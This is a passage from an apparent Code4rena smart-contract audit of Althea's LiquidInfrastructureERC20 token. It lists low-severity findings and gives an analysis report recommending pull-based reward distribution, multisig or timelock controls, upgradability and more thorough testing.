https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L29-L35

08 - Consider changing scope for useful state variables to public

Currently, holders and nextDistributionRecipient have private and internal visibility set respectively. This makes it inconvenient for holders trying to withdraw just their reward token using distribute(), as they cannot easily see how much they need to distribute() until they receive their rewards. Consider making these variables public.

Affected code (2 instances):

    address[] private holders;

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L48

    uint256 internal nextDistributionRecipient;

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L85

09 - Using double != reduces code readibility

The below code adds to to holders if it has a balance of 0.

        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }

This can be a unintuitive as != is used twice - the variable can be removed and replaced with a comment for better readibility, such as:

-       bool exists = (this.balanceOf(to) != 0);
+       // add `to` to `holders` if it has 0 balance
-       if (!exists) {
+       if (this.balanceOf(to) == 0) {
            holders.push(to);
        }

Affected code (1 instance):

        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

10 - Owner can add duplicate distributableERC20s with setDistributableERC20s

There is no check preventing distributableERC20s to contain duplicate addresses when calling setDistributableERC20s. If the owner accidentally includes an address twice, this leads to duplicate rewards being distributed which may cause users to lose funds, and distribute() to be DoSed as contract lacks funds to fulfill the rewards. Consider adding a check or clear notice for the array to consist of unique elements

Affected code (1 instance):

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441-L445

Analysis Report

Table of Contents

Audit Methodology

Day 1

• Read through the audit details, including bot report and automated findings, gathered rough idea of what the project was about and the context
• Briefly glanced at the code, checked out and validated the transfer hooks that facilitate KYC as mentioned in the audit details

Day 2 - 3

• Looked closer at the transfer hooks _beforeTokenTransfer() and _afterTokenTransfer(), noticing some flaws. Wrote PoC tests for them to validate the findings, then wrote reports for them.
• Looked at how token distribution works, especially distribute(). Noticed a 'push' system in place to distribute the rewards, which could be a major flaw.
• Found many vulnerabilities in distribute(), wrote PoC tests and reports for all of them.
• Noticed other vulnerabilities including major loss of precision in _beginDistribution(), validated with tests and wrote report.
• Started planning improvement possibilities for the project, which are detailed in this analysis report.

Day 4 (Final Day)

• Finalized my findings and analysis report.
• Read through my findings again to make improvements, spot mistakes / improve clarity.

Systemic risks

Token distribution

Currently, LiquidInfrastructureERC20 uses a 'push' approach to distribute tokens. This leads to many issues when distributing tokens:

• High gas cost, lower incentive: there are nested for loops in distribute(), looping through a specified number of holders distributing every distrubutable ERC20 token to them. Due to the holders array determining the order holders receive their reward, this can lead to lower incentives to retreive the reward. For example, if holder B is at the end of the holders array, and the array contains 100 holders, they must go through 99 other holders before receiving their token, which they have little incentive to do so. This can lead to holders at the end to wait for holders at the front to withdraw their rewards, or else they must pay gas costs for other holders.

• Lots of bugs in distribute(): the current implementation can be DoSed in many ways, and if a DoS happens, no one can retreive their reward, and token transfers will be locked until distribution finishes. If the function is permanently DoSed, this leads to loss of all rewards and even all infraERC20 tokens as they are locked in the contract. This inherently brings huge risks, especially since other ERC20 tokens are expected to be used which may have adverse effects, for example, USDT not returning a bool.

• Problems with holders array: this array keeps track of anyone with a positive infraERC20 balance. However bugs in _beforeTokenTransfer() and _afterTokenTransfer() lead to accounts with zero balance from existing, even the zero address from existing, as well as duplicate addresses not being removed. It's trivial for anyone to flood holders with tons of addresses, leading to unnecessarily high gas costs when distributing tokens.

• Scaling: the current implementation doesn't scale well as more holders are added, as the longer array leads to high gas costs to be payed. For future considerations, scaling and the amount of people expected to use the protocol should be taken into account, as well as the gas costs that they are expected to pay.

Instead of the current approach, I suggest a pull over push be implemented for users to withdraw their own rewards themselves, instead of the contract pushing out everyone's rewards.

To implement this, perhaps use a double mapping such as

mapping(address => mapping(address => uint256)) public holderTokenRewards;

to track the holder's reward for each token (for example, holderTokenRewards[holder1][usdt] returns the amount of usdt token rewards holder1 has). Then a withdrawReward() function should be implemented for holders to withdraw their rewards. As for when distributing starts, another function can be implemented for holders to call, which updates their respective reward based on their holdings.

Of course, this alternative approach may lead to holders forgetting to, or not claiming their rewards during distribution. If this is the case, holders can still be used, but only for the purpose of being called once during distribution where each holder is looped through and their reward for each token is updated on the holderTokenRewards mapping instead of being sent out, incurring much less gas. It should also be made clear that duplicate addresses in holders can be detrimental - could lead to duplicate rewards etc. Thus a rewardClaimed mapping could be used, mapping holder addresses to a boolean.

ERC20 tokens

The sponsor mentions:

Liquid Infrastructure is expected to use ERC20 stablecoins like USDC, Dai, or USDT as revenue tokens. The protocol is expected to vet ERC20s and opt-in to their use to avoid issues with non-standard tokens (e.g. rebasing tokens).

However when testing, I found that USDT doesn't even work at all - distribute() reverts when USDT is used, due to it not returning a bool which is expected by the IERC20 interface.

Before choosing an ERC20 token to use, it should be tested throughly with the project to ensure no errors occur, as many ERC20 tokens behave strangely which can affect the logic of the contracts.

Also, there is currently no way to retreive ERC20 tokens if they do get stuck in LiquidInfrastructureERC20. Hence, a sweeper role, which could be the owner, can be added to retreive tokens locked in a contract.

Centralization risks

The deployer of the LiquidInfrastructureERC20 is the owner, and has permissions to perform critical actions such as approving/disapproving addresses and setting reward tokens. The owner can also take any funds in the NFT contract, and mint themselves a high amount of tokens to get all the rewards for themselves. Even if the owner is not malicious, it's entirely possible for their keys to be compromised. In that case, the whole contract as well as its users would be jeopardized. To mitigate this, the contract could require multiple different accounts to execute a critical action (such as Gnosis Safe), or implement timelocks for critical actions to be executed.

Other considerations

Code readability

At times I found it difficult and confusing to read some of the codebase, such as this:

File: LiquidInfrastructureERC20.sol
142:         bool exists = (this.balanceOf(to) != 0);
143:         if (!exists) {
144:             holders.push(to);
145:         }

It is a bit unintuitive to use double !=, and the variable can be removed and replaced with a comment for better readability, such as:

-       bool exists = (this.balanceOf(to) != 0);
+       // add `to` to `holders` if it has 0 balance
-       if (!exists) {
+       if (this.balanceOf(to) == 0) {
            holders.push(to);
        }

Upgradable contracts

If a vulnerability is discovered post-deployment of the contracts, there would be high cost to redeploy the contract as accounting such as holders and mappings must be ported over, incurring very high amounts of gas.

Therefore, if an upgradable contract was used, the logic of the contract can put behind a proxy and if the contract's underlying code had to be changed, this can be easily done by pointing the proxy at a different address.

Test coverage

Although the sponsor states:

• What is the overall line coverage percentage provided by your tests?: 95.09

a lot of the vulnerabilities could have easily been found with better testing. The current tests seem to merely test functionality of the protocol, and not testing bounds where things are likely to fail, such as transferring 0 amount.

In particular, test ERC20 tokens were created for these tests, and not tokens that are expected to be used, such as USDC, Dai, or USDT. This lead to the finding that the contract doesn't work with USDT, which could have been easily found by testing on-chain tokens.

As for the precision lost vulnerability, this was due to precision lost in the testing as well:

File: liquidERC20.ts
410:     let entitlement = BigInt(division / supply) * totalRevenue;

Adding more thorough tests that resemble as much of the environment and its actual use case will result in the contract being less likely to fail or have vulnerabilities.

Conclusion

The protocol generally works and functions well. However, there are some areas for improvement such as considering a different implementation of reward distribution, reducing centralization risks and making the contract upgradable. As the project develops, it is important to keep writing thorough tests in order to both verify the functionality and sensitive portions of the protocol. Edge cases in tests can be effective in catching bugs, and should be tested to ensure full coverage. After current vulnerabilities and flaws are addressed, it is important to keep security as a high priority and ensure safety of the project by seeking more audits and

Time spent

25 hours

Time spent:

25 hours